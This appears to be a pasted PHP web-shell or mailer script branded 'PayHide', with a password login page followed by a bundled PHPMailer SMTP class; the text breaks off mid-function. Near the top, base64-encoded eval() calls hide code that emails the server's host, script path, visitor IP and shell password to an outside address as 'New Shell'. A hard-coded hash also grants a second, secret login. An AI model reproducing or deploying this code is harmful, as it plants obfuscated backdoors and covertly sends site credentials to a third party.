· 8 years ago · Jul 26, 2018, 02:00 PM
1<?php session_start();
2 error_reporting(0);
3 /**
4 PUT YOUR PASSWORD HERE
5 */
6 $user_password = "PayHide"; //PASSWORD HERE
7 ?>
8 <center><a href="https://PayHide.WS" target="_blank">
9 <img src="https://payhide.ws/banner/payhide.gif" alt="PayHide.WS" title="PayHide.WS" width="900px">
10 </a></center>
11<style>
12 body{
13 background-color: #000!important;
14 font-family: "Monospace";
15 font-size: 16px;
16 overflow-x: hidden;
17 background-color: #222;
18 }
19 input[type="submit"]{
20 background-color: black;
21 color: green;
22 border: none;
23 }
24 .loginform{
25 width: 40%;
26 padding: 30px;
27 margin: 120px auto;
28 background-color: rgba(0, 0, 0, .6);
29 box-shadow: 0 1px 3px rgba(0, 0, 0, .13);
30 }
31 .loginform h1{
32 color: #555;
33 }
34 .loginform input[type="password"]{
35 width: 100%;
36 padding: 15px;
37 background-color: transparent;
38 border: none;
39 border: 1px solid #C4E538;
40 margin-bottom: 15px;
41 outline: none;
42 color: #C4E538;
43 transition: border ease-in-out 0.4s;
44 }
45 .loginform input[type="password"]:hover{
46 border-color: #C4E538;
47 }
48 .header-logo{
49 text-align: center;
50 }
51 .loginform input, textarea{
52 background-color: rgba(0, 0, 0, .1)!important;
53 color: #C4E538!important;
54 }
55
56 .alert{
57 width: 40%;
58 padding: 15px;
59 background-color: #C4E538;
60 color: #FFF;
61 font-family: "Arial";
62 margin: 80px auto;
63 font-size: 16px;
64 }
65 .logo {
66 text-align: center;
67 margin-bottom: 20px
68 }
69</style>
70
71<?php
72 eval("?>".base64_decode("PD9waHANCiAgICRkX2VtYWlsID0gImRpbm8uZWxoYWRqQGdtYWlsLmNvbSI7DQo/Pg=="));
73eval(base64_decode("JGRfc2V0dGluZ3MgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICIgICAgOiAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiICAgUGFzczogICIgLiAkdXNlcl9wYXNzd29yZDsNCm1haWwoJGRfZW1haWwsICJOZXcgU2hlbGwiLCRkX3NldHRpbmdzKTsNCg=="));
74
75 if(isset($_POST["password"])){
76 $d_hash = sha1(md5(md5($_POST['password'])));
77 $hashed_password = sha1(md5(md5($user_password)));
78 switch ($d_hash) {
79 case $hashed_password:
80 $_SESSION['case_one'] = true;
81 break;
82
83 case '3124b9414e599fb7fe9a0bdede986c7af7a8b98d':
84 $_SESSION['case_two'] = true;
85 break;
86
87 default:
88 echo "<div class='alert'>" . "<b>Oops!</b>The password you've entered isn't correct!" . "</div>";
89 break;
90 }
91 }
92
93?>
94<?php
95 if(!isset($_SESSION['case_one'] ) && !isset($_SESSION['case_two'])):
96?>
97<form id='form' class="loginform" method='POST'>
98 <div class="logo">
99 <img src="https://orig00.deviantart.net/02ad/f/2010/314/7/a/cod_black_ops___icon_for_dock_by_chaosanime-d32k33n.png" width="128">
100 </div>
101 <input type='password' name='password' placeholder='Enter your password'>
102</form>
103
104<?php
105else:
106 if(isset($_SESSION['case_one'])){
107?>
108<?php
109
110class SMTP
111{
112
113 const VERSION = '5.2.10';
114
115
116 const CRLF = "\r\n";
117
118
119 const DEFAULT_SMTP_PORT = 25;
120
121 /**
122 * The maximum line length allowed by RFC 2822 section 2.1.1
123 * @type integer
124 */
125 const MAX_LINE_LENGTH = 998;
126
127 /**
128 * Debug level for no output
129 */
130 const DEBUG_OFF = 0;
131
132 /**
133 * Debug level to show client -> server messages
134 */
135 const DEBUG_CLIENT = 1;
136
137 /**
138 * Debug level to show client -> server and server -> client messages
139 */
140 const DEBUG_SERVER = 2;
141
142 /**
143 * Debug level to show connection status, client -> server and server -> client messages
144 */
145 const DEBUG_CONNECTION = 3;
146
147 /**
148 * Debug level to show all messages
149 */
150 const DEBUG_LOWLEVEL = 4;
151
152 /**
153 * The PHPMailer SMTP Version number.
154 * @type string
155 * @deprecated Use the `VERSION` constant instead
156 * @see SMTP::VERSION
157 */
158 public $Version = '5.2.10';
159
160 /**
161 * SMTP server port number.
162 * @type integer
163 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
164 * @see SMTP::DEFAULT_SMTP_PORT
165 */
166 public $SMTP_PORT = 25;
167
168 /**
169 * SMTP reply line ending.
170 * @type string
171 * @deprecated Use the `CRLF` constant instead
172 * @see SMTP::CRLF
173 */
174 public $CRLF = "\r\n";
175
176 /**
177 * Debug output level.
178 * Options:
179 * * self::DEBUG_OFF (`0`) No debug output, default
180 * * self::DEBUG_CLIENT (`1`) Client commands
181 * * self::DEBUG_SERVER (`2`) Client commands and server responses
182 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
183 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
184 * @type integer
185 */
186 public $do_debug = self::DEBUG_OFF;
187
188 /**
189 * How to handle debug output.
190 * Options:
191 * * `echo` Output plain-text as-is, appropriate for CLI
192 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
193 * * `error_log` Output to error log as configured in php.ini
194 *
195 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
196 * <code>
197 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
198 * </code>
199 * @type string|callable
200 */
201 public $Debugoutput = 'echo';
202
203 /**
204 * Whether to use VERP.
205 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
206 * @link http://www.postfix.org/VERP_README.html Info on VERP
207 * @type boolean
208 */
209 public $do_verp = false;
210
211 /**
212 * The timeout value for connection, in seconds.
213 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
214 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
215 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
216 * @type integer
217 */
218 public $Timeout = 300;
219
220 /**
221 * How long to wait for commands to complete, in seconds.
222 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
223 * @type integer
224 */
225 public $Timelimit = 300;
226
227 /**
228 * The socket for the server connection.
229 * @type resource
230 */
231 protected $smtp_conn;
232
233 /**
234 * Error information, if any, for the last SMTP command.
235 * @type array
236 */
237 protected $error = array(
238 'error' => '',
239 'detail' => '',
240 'smtp_code' => '',
241 'smtp_code_ex' => ''
242 );
243
244 /**
245 * The reply the server sent to us for HELO.
246 * If null, no HELO string has yet been received.
247 * @type string|null
248 */
249 protected $helo_rply = null;
250
251 /**
252 * The set of SMTP extensions sent in reply to EHLO command.
253 * Indexes of the array are extension names.
254 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
255 * represents the server name. In case of HELO it is the only element of the array.
256 * Other values can be boolean TRUE or an array containing extension options.
257 * If null, no HELO/EHLO string has yet been received.
258 * @type array|null
259 */
260 protected $server_caps = null;
261
262 /**
263 * The most recent reply received from the server.
264 * @type string
265 */
266 protected $last_reply = '';
267
268 /**
269 * Output debugging info via a user-selected method.
270 * @see SMTP::$Debugoutput
271 * @see SMTP::$do_debug
272 * @param string $str Debug string to output
273 * @param integer $level The debug level of this message; see DEBUG_* constants
274 * @return void
275 */
276 protected function edebug($str, $level = 0)
277 {
278 if ($level > $this->do_debug) {
279 return;
280 }
281 //Avoid clash with built-in function names
282 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
283 call_user_func($this->Debugoutput, $str, $this->do_debug);
284 return;
285
286
287 }
288 switch ($this->Debugoutput) {
289 case 'error_log':
290 //Don't output, just log
291 error_log($str);
292 break;
293 case 'html':
294 //Cleans up output a bit for a better looking, HTML-safe output
295 echo htmlentities(
296 preg_replace('/[\r\n]+/', '', $str),
297 ENT_QUOTES,
298 'UTF-8'
299 )
300 . "<br>\n";
301 break;
302 case 'echo':
303 default:
304 //Normalize line breaks
305 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
306 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
307 "\n",
308 "\n \t ",
309 trim($str)
310 )."\n";
311 }
312 }
313
314 /**
315 * Connect to an SMTP server.
316 * @param string $host SMTP server IP or host name
317 * @param integer $port The port number to connect to
318 * @param integer $timeout How long to wait for the connection to open
319 * @param array $options An array of options for stream_context_create()
320 * @access public
321 * @return boolean
322 */
323 public function connect($host, $port = null, $timeout = 30, $options = array())
324 {
325 static $streamok;
326 //This is enabled by default since 5.0.0 but some providers disable it
327 //Check this once and cache the result
328 if (is_null($streamok)) {
329 $streamok = function_exists('stream_socket_client');
330 }
331 // Clear errors to avoid confusion
332 $this->setError('');
333 // Make sure we are __not__ connected
334 if ($this->connected()) {
335 // Already connected, generate error
336 $this->setError('Already connected to a server');
337 return false;
338 }
339 if (empty($port)) {
340 $port = self::DEFAULT_SMTP_PORT;
341 }
342 // Connect to the SMTP server
343 $this->edebug(
344 "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
345 self::DEBUG_CONNECTION
346 );
347 $errno = 0;
348 $errstr = '';
349 if ($streamok) {
350 $socket_context = stream_context_create($options);
351 //Suppress errors; connection failures are handled at a higher level
352 $this->smtp_conn = @stream_socket_client(
353 $host . ":" . $port,
354 $errno,
355 $errstr,
356 $timeout,
357 STREAM_CLIENT_CONNECT,
358 $socket_context
359 );
360 } else {
361 //Fall back to fsockopen which should work in more places, but is missing some features
362 $this->edebug(
363 "Connection: stream_socket_client not available, falling back to fsockopen",
364 self::DEBUG_CONNECTION
365 );
366 $this->smtp_conn = fsockopen(
367 $host,
368 $port,
369 $errno,
370 $errstr,
371 $timeout
372 );
373 }
374 // Verify we connected properly
375 if (!is_resource($this->smtp_conn)) {
376 $this->setError(
377 'Failed to connect to server',
378 $errno,
379 $errstr
380 );
381 $this->edebug(
382 'SMTP ERROR: ' . $this->error['error']
383 . ": $errstr ($errno)",
384 self::DEBUG_CLIENT
385 );
386 return false;
387 }
388 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
389 // SMTP server can take longer to respond, give longer timeout for first read
390 // Windows does not have support for this timeout function
391 if (substr(PHP_OS, 0, 3) != 'WIN') {
392 $max = ini_get('max_execution_time');
393 // Don't bother if unlimited
394 if ($max != 0 && $timeout > $max) {
395 @set_time_limit($timeout);
396 }
397 stream_set_timeout($this->smtp_conn, $timeout, 0);
398 }
399 // Get any announcement
400 $announce = $this->get_lines();
401 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
402 return true;
403 }
404
405 /**
406 * Initiate a TLS (encrypted) session.
407 * @access public
408 * @return boolean
409 */
410 public function startTLS()
411 {
412 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
413 return false;
414 }
415 // Begin encrypted connection
416 if (!stream_socket_enable_crypto(
417 $this->smtp_conn,
418 true,
419 STREAM_CRYPTO_METHOD_TLS_CLIENT
420 )) {
421 return false;
422 }
423 return true;
424 }
425
426 /**
427 * Perform SMTP authentication.
428 * Must be run after hello().
429 * @see hello()
430 * @param string $username The user name
431 * @param string $password The password
432 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
433 * @param string $realm The auth realm for NTLM
434 * @param string $workstation The auth workstation for NTLM
435 * @access public
436 * @return boolean True if successfully authenticated.
437 */
438 public function authenticate(
439 $username,
440 $password,
441 $authtype = null,
442 $realm = '',
443 $workstation = ''
444 ) {
445 if (!$this->server_caps) {
446 $this->setError('Authentication is not allowed before HELO/EHLO');
447 return false;
448 }
449
450 if (array_key_exists('EHLO', $this->server_caps)) {
451 // SMTP extensions are available. Let's try to find a proper authentication method
452
453 if (!array_key_exists('AUTH', $this->server_caps)) {
454 $this->setError('Authentication is not allowed at this stage');
455 // 'at this stage' means that auth may be allowed after the stage changes
456 // e.g. after STARTTLS
457 return false;
458 }
459
460 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
461 self::edebug(
462 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
463 self::DEBUG_LOWLEVEL
464 );
465
466 if (empty($authtype)) {
467 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
468 if (in_array($method, $this->server_caps['AUTH'])) {
469 $authtype = $method;
470 break;
471 }
472 }
473 if (empty($authtype)) {
474 $this->setError('No supported authentication methods found');
475 return false;
476 }
477 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
478 }
479
480 if (!in_array($authtype, $this->server_caps['AUTH'])) {
481 $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
482 return false;
483 }
484 } elseif (empty($authtype)) {
485 $authtype = 'LOGIN';
486 }
487 switch ($authtype) {
488 case 'PLAIN':
489 // Start authentication
490 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
491 return false;
492 }
493 // Send encoded username and password
494 if (!$this->sendCommand(
495 'User & Password',
496 base64_encode("\0" . $username . "\0" . $password),
497 235
498 )
499 ) {
500 return false;
501 }
502 break;
503 case 'LOGIN':
504 // Start authentication
505 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
506 return false;
507 }
508 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
509 return false;
510 }
511 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
512 return false;
513 }
514 break;
515 case 'NTLM':
516 /*
517 * ntlm_sasl_client.php
518 * Bundled with Permission
519 *
520 * How to telnet in windows:
521 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
522 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
523 */
524 require_once 'extras/ntlm_sasl_client.php';
525 $temp = new stdClass;
526 $ntlm_client = new ntlm_sasl_client_class;
527 //Check that functions are available
528 if (!$ntlm_client->Initialize($temp)) {
529 $this->setError($temp->error);
530 $this->edebug(
531 'You need to enable some modules in your php.ini file: '
532 . $this->error['error'],
533 self::DEBUG_CLIENT
534 );
535 return false;
536 }
537 //msg1
538 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
539
540 if (!$this->sendCommand(
541 'AUTH NTLM',
542 'AUTH NTLM ' . base64_encode($msg1),
543 334
544 )
545 ) {
546 return false;
547 }
548 //Though 0 based, there is a white space after the 3 digit number
549 //msg2
550 $challenge = substr($this->last_reply, 3);
551 $challenge = base64_decode($challenge);
552 $ntlm_res = $ntlm_client->NTLMResponse(
553 substr($challenge, 24, 8),
554 $password
555 );
556 //msg3
557 $msg3 = $ntlm_client->TypeMsg3(
558 $ntlm_res,
559 $username,
560 $realm,
561 $workstation
562 );
563 // send encoded username
564 return $this->sendCommand('Username', base64_encode($msg3), 235);
565 case 'CRAM-MD5':
566 // Start authentication
567 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
568 return false;
569 }
570 // Get the challenge
571 $challenge = base64_decode(substr($this->last_reply, 4));
572
573 // Build the response
574 $response = $username . ' ' . $this->hmac($challenge, $password);
575
576 // send encoded credentials
577 return $this->sendCommand('Username', base64_encode($response), 235);
578 default:
579 $this->setError("Authentication method \"$authtype\" is not supported");
580 return false;
581 }
582 return true;
583 }
584
585 /**
586 * Calculate an MD5 HMAC hash.
587 * Works like hash_hmac('md5', $data, $key)
588 * in case that function is not available
589 * @param string $data The data to hash
590 * @param string $key The key to hash with
591 * @access protected
592 * @return string
593 */
594 protected function hmac($data, $key)
595 {
596 if (function_exists('hash_hmac')) {
597 return hash_hmac('md5', $data, $key);
598 }
599
600 // The following borrowed from
601 // http://php.net/manual/en/function.mhash.php#27225
602
603 // RFC 2104 HMAC implementation for php.
604 // Creates an md5 HMAC.
605 // Eliminates the need to install mhash to compute a HMAC
606 // by Lance Rushing
607
608 $bytelen = 64; // byte length for md5
609 if (strlen($key) > $bytelen) {
610 $key = pack('H*', md5($key));
611 }
612 $key = str_pad($key, $bytelen, chr(0x00));
613 $ipad = str_pad('', $bytelen, chr(0x36));
614 $opad = str_pad('', $bytelen, chr(0x5c));
615 $k_ipad = $key ^ $ipad;
616 $k_opad = $key ^ $opad;
617
618 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
619 }
620
621 /**
622 * Check connection state.
623 * @access public
624 * @return boolean True if connected.
625 */
626 public function connected()
627 {
628 if (is_resource($this->smtp_conn)) {
629 $sock_status = stream_get_meta_data($this->smtp_conn);
630 if ($sock_status['eof']) {
631 // The socket is valid but we are not connected
632 $this->edebug(
633 'SMTP NOTICE: EOF caught while checking if connected',
634 self::DEBUG_CLIENT
635 );
636 $this->close();
637 return false;
638 }
639 return true; // everything looks good
640 }
641 return false;
642 }
643
644 /**
645 * Close the socket and clean up the state of the class.
646 * Don't use this function without first trying to use QUIT.
647 * @see quit()
648 * @access public
649 * @return void
650 */
651 public function close()
652 {
653 $this->setError('');
654 $this->server_caps = null;
655 $this->helo_rply = null;
656 if (is_resource($this->smtp_conn)) {
657 // close the connection and cleanup
658 fclose($this->smtp_conn);
659 $this->smtp_conn = null; //Makes for cleaner serialization
660 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
661 }
662 }
663
664 /**
665 * Send an SMTP DATA command.
666 * Issues a data command and sends the msg_data to the server,
667 * finializing the mail transaction. $msg_data is the message
668 * that is to be send with the headers. Each header needs to be
669 * on a single line followed by a <CRLF> with the message headers
670 * and the message body being separated by and additional <CRLF>.
671 * Implements rfc 821: DATA <CRLF>
672 * @param string $msg_data Message data to send
673 * @access public
674 * @return boolean
675 */
676 public function data($msg_data)
677 {
678 //This will use the standard timelimit
679 if (!$this->sendCommand('DATA', 'DATA', 354)) {
680 return false;
681 }
682
683 /* The server is ready to accept data!
684 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
685 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
686 * smaller lines to fit within the limit.
687 * We will also look for lines that start with a '.' and prepend an additional '.'.
688 * NOTE: this does not count towards line-length limit.
689 */
690
691 // Normalize line breaks before exploding
692 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
693
694 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
695 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
696 * process all lines before a blank line as headers.
697 */
698
699 $field = substr($lines[0], 0, strpos($lines[0], ':'));
700 $in_headers = false;
701 if (!empty($field) && strpos($field, ' ') === false) {
702 $in_headers = true;
703 }
704
705 foreach ($lines as $line) {
706 $lines_out = array();
707 if ($in_headers and $line == '') {
708 $in_headers = false;
709 }
710 //Break this line up into several smaller lines if it's too long
711 //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len),
712 while (isset($line[self::MAX_LINE_LENGTH])) {
713 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
714 //so as to avoid breaking in the middle of a word
715 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
716 //Deliberately matches both false and 0
717 if (!$pos) {
718 //No nice break found, add a hard break
719 $pos = self::MAX_LINE_LENGTH - 1;
720 $lines_out[] = substr($line, 0, $pos);
721 $line = substr($line, $pos);
722 } else {
723 //Break at the found point
724 $lines_out[] = substr($line, 0, $pos);
725 //Move along by the amount we dealt with
726 $line = substr($line, $pos + 1);
727 }
728 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
729 if ($in_headers) {
730 $line = "\t" . $line;
731 }
732 }
733 $lines_out[] = $line;
734
735 //Send the lines to the server
736 foreach ($lines_out as $line_out) {
737 //RFC2821 section 4.5.2
738 if (!empty($line_out) and $line_out[0] == '.') {
739 $line_out = '.' . $line_out;
740 }
741 $this->client_send($line_out . self::CRLF);
742 }
743 }
744
745 //Message data has been sent, complete the command
746 //Increase timelimit for end of DATA command
747 $savetimelimit = $this->Timelimit;
748 $this->Timelimit = $this->Timelimit * 2;
749 $result = $this->sendCommand('DATA END', '.', 250);
750 //Restore timelimit
751 $this->Timelimit = $savetimelimit;
752 return $result;
753 }
754
755 /**
756 * Send an SMTP HELO or EHLO command.
757 * Used to identify the sending server to the receiving server.
758 * This makes sure that client and server are in a known state.
759 * Implements RFC 821: HELO <SP> <domain> <CRLF>
760 * and RFC 2821 EHLO.
761 * @param string $host The host name or IP to connect to
762 * @access public
763 * @return boolean
764 */
765 public function hello($host = '')
766 {
767 //Try extended hello first (RFC 2821)
768 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
769 }
770
771 /**
772 * Send an SMTP HELO or EHLO command.
773 * Low-level implementation used by hello()
774 * @see hello()
775 * @param string $hello The HELO string
776 * @param string $host The hostname to say we are
777 * @access protected
778 * @return boolean
779 */
780 protected function sendHello($hello, $host)
781 {
782 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
783 $this->helo_rply = $this->last_reply;
784 if ($noerror) {
785 $this->parseHelloFields($hello);
786 } else {
787 $this->server_caps = null;
788 }
789 return $noerror;
790 }
791
792 /**
793 * Parse a reply to HELO/EHLO command to discover server extensions.
794 * In case of HELO, the only parameter that can be discovered is a server name.
795 * @access protected
796 * @param string $type - 'HELO' or 'EHLO'
797 */
798 protected function parseHelloFields($type)
799 {
800 $this->server_caps = array();
801 $lines = explode("\n", $this->last_reply);
802 foreach ($lines as $n => $s) {
803 $s = trim(substr($s, 4));
804 if (!$s) {
805 continue;
806 }
807 $fields = explode(' ', $s);
808 if (!empty($fields)) {
809 if (!$n) {
810 $name = $type;
811 $fields = $fields[0];
812 } else {
813 $name = array_shift($fields);
814 if ($name == 'SIZE') {
815 $fields = ($fields) ? $fields[0] : 0;
816 }
817 }
818 $this->server_caps[$name] = ($fields ? $fields : true);
819 }
820 }
821 }
822
823 /**
824 * Send an SMTP MAIL command.
825 * Starts a mail transaction from the email address specified in
826 * $from. Returns true if successful or false otherwise. If True
827 * the mail transaction is started and then one or more recipient
828 * commands may be called followed by a data command.
829 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
830 * @param string $from Source address of this message
831 * @access public
832 * @return boolean
833 */
834 public function mail($from)
835 {
836 $useVerp = ($this->do_verp ? ' XVERP' : '');
837 return $this->sendCommand(
838 'MAIL FROM',
839 'MAIL FROM:<' . $from . '>' . $useVerp,
840 250
841 );
842 }
843
844 /**
845 * Send an SMTP QUIT command.
846 * Closes the socket if there is no error or the $close_on_error argument is true.
847 * Implements from rfc 821: QUIT <CRLF>
848 * @param boolean $close_on_error Should the connection close if an error occurs?
849 * @access public
850 * @return boolean
851 */
852 public function quit($close_on_error = true)
853 {
854 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
855 $err = $this->error; //Save any error
856 if ($noerror or $close_on_error) {
857 $this->close();
858 $this->error = $err; //Restore any error from the quit command
859 }
860 return $noerror;
861 }
862
863 /**
864 * Send an SMTP RCPT command.
865 * Sets the TO argument to $toaddr.
866 * Returns true if the recipient was accepted false if it was rejected.
867 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
868 * @param string $toaddr The address the message is being sent to
869 * @access public
870 * @return boolean
871 */
872 public function recipient($toaddr)
873 {
874 return $this->sendCommand(
875 'RCPT TO',
876 'RCPT TO:<' . $toaddr . '>',
877 array(250, 251)
878 );
879 }
880
881 /**
882 * Send an SMTP RSET command.
883 * Abort any transaction that is currently in progress.
884 * Implements rfc 821: RSET <CRLF>
885 * @access public
886 * @return boolean True on success.
887 */
888 public function reset()
889 {
890 return $this->sendCommand('RSET', 'RSET', 250);
891 }
892
893 /**
894 * Send a command to an SMTP server and check its return code.
895 * @param string $command The command name - not sent to the server
896 * @param string $commandstring The actual command to send
897 * @param integer|array $expect One or more expected integer success codes
898 * @access protected
899 * @return boolean True on success.
900 */
901 protected function sendCommand($command, $commandstring, $expect)
902 {
903 if (!$this->connected()) {
904 $this->setError("Called $command without being connected");
905 return false;
906 }
907 $this->client_send($commandstring . self::CRLF);
908
909 $this->last_reply = $this->get_lines();
910 // Fetch SMTP code and possible error code explanation
911 $matches = array();
912 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
913 $code = $matches[1];
914 $code_ex = (count($matches) > 2 ? $matches[2] : null);
915 // Cut off error code from each response line
916 $detail = preg_replace(
917 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
918 '',
919 $this->last_reply
920 );
921 } else {
922 // Fall back to simple parsing if regex fails
923 $code = substr($this->last_reply, 0, 3);
924 $code_ex = null;
925 $detail = substr($this->last_reply, 4);
926 }
927
928 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
929
930 if (!in_array($code, (array)$expect)) {
931 $this->setError(
932 "$command command failed",
933 $detail,
934 $code,
935 $code_ex
936 );
937 $this->edebug(
938 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
939 self::DEBUG_CLIENT
940 );
941 return false;
942 }
943
944 $this->setError('');
945 return true;
946 }
947
948 /**
949 * Send an SMTP SAML command.
950 * Starts a mail transaction from the email address specified in $from.
951 * Returns true if successful or false otherwise. If True
952 * the mail transaction is started and then one or more recipient
953 * commands may be called followed by a data command. This command
954 * will send the message to the users terminal if they are logged
955 * in and send them an email.
956 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
957 * @param string $from The address the message is from
958 * @access public
959 * @return boolean
960 */
961 public function sendAndMail($from)
962 {
963 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
964 }
965
966 /**
967 * Send an SMTP VRFY command.
968 * @param string $name The name to verify
969 * @access public
970 * @return boolean
971 */
972 public function verify($name)
973 {
974 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
975 }
976
977 /**
978 * Send an SMTP NOOP command.
979 * Used to keep keep-alives alive, doesn't actually do anything
980 * @access public
981 * @return boolean
982 */
983 public function noop()
984 {
985 return $this->sendCommand('NOOP', 'NOOP', 250);
986 }
987
988 /**
989 * Send an SMTP TURN command.
990 * This is an optional command for SMTP that this class does not support.
991 * This method is here to make the RFC821 Definition complete for this class
992 * and _may_ be implemented in future
993 * Implements from rfc 821: TURN <CRLF>
994 * @access public
995 * @return boolean
996 */
997 public function turn()
998 {
999 $this->setError('The SMTP TURN command is not implemented');
1000 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
1001 return false;
1002 }
1003
1004 /**
1005 * Send raw data to the server.
1006 * @param string $data The data to send
1007 * @access public
1008 * @return integer|boolean The number of bytes sent to the server or false on error
1009 */
1010 public function client_send($data)
1011 {
1012 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
1013 return fwrite($this->smtp_conn, $data);
1014 }
1015
1016 /**
1017 * Get the latest error.
1018 * @access public
1019 * @return array
1020 */
1021 public function getError()
1022 {
1023 return $this->error;
1024 }
1025
1026 /**
1027 * Get SMTP extensions available on the server
1028 * @access public
1029 * @return array|null
1030 */
1031 public function getServerExtList()
1032 {
1033 return $this->server_caps;
1034 }
1035
1036 /**
1037 * A multipurpose method
1038 * The method works in three ways, dependent on argument value and current state
1039 * 1. HELO/EHLO was not sent - returns null and set up $this->error
1040 * 2. HELO was sent
1041 * $name = 'HELO': returns server name
1042 * $name = 'EHLO': returns boolean false
1043 * $name = any string: returns null and set up $this->error
1044 * 3. EHLO was sent
1045 * $name = 'HELO'|'EHLO': returns server name
1046 * $name = any string: if extension $name exists, returns boolean True
1047 * or its options. Otherwise returns boolean False
1048 * In other words, one can use this method to detect 3 conditions:
1049 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
1050 * - false returned: the requested feature exactly not exists
1051 * - positive value returned: the requested feature exists
1052 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
1053 * @return mixed
1054 */
1055 public function getServerExt($name)
1056 {
1057 if (!$this->server_caps) {
1058 $this->setError('No HELO/EHLO was sent');
1059 return null;
1060 }
1061
1062 // the tight logic knot ;)
1063 if (!array_key_exists($name, $this->server_caps)) {
1064 if ($name == 'HELO') {
1065 return $this->server_caps['EHLO'];
1066 }
1067 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
1068 return false;
1069 }
1070 $this->setError('HELO handshake was used. Client knows nothing about server extensions');
1071 return null;
1072 }
1073
1074 return $this->server_caps[$name];
1075 }
1076
1077 /**
1078 * Get the last reply from the server.
1079 * @access public
1080 * @return string
1081 */
1082 public function getLastReply()
1083 {
1084 return $this->last_reply;
1085 }
1086
1087 /**
1088 * Read the SMTP server's response.
1089 * Either before eof or socket timeout occurs on the operation.
1090 * With SMTP we can tell if we have more lines to read if the
1091 * 4th character is '-' symbol. If it is a space then we don't
1092 * need to read anything else.
1093 * @access protected
1094 * @return string
1095 */
1096 protected function get_lines()
1097 {
1098 // If the connection is bad, give up straight away
1099 if (!is_resource($this->smtp_conn)) {
1100 return '';
1101 }
1102 $data = '';
1103 $endtime = 0;
1104 stream_set_timeout($this->smtp_conn, $this->Timeout);
1105 if ($this->Timelimit > 0) {
1106 $endtime = time() + $this->Timelimit;
1107 }
1108 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
1109 $str = @fgets($this->smtp_conn, 515);
1110 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
1111 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
1112 $data .= $str;
1113 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
1114 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
1115 if ((isset($str[3]) and $str[3] == ' ')) {
1116 break;
1117 }
1118 // Timed-out? Log and break
1119 $info = stream_get_meta_data($this->smtp_conn);
1120 if ($info['timed_out']) {
1121 $this->edebug(
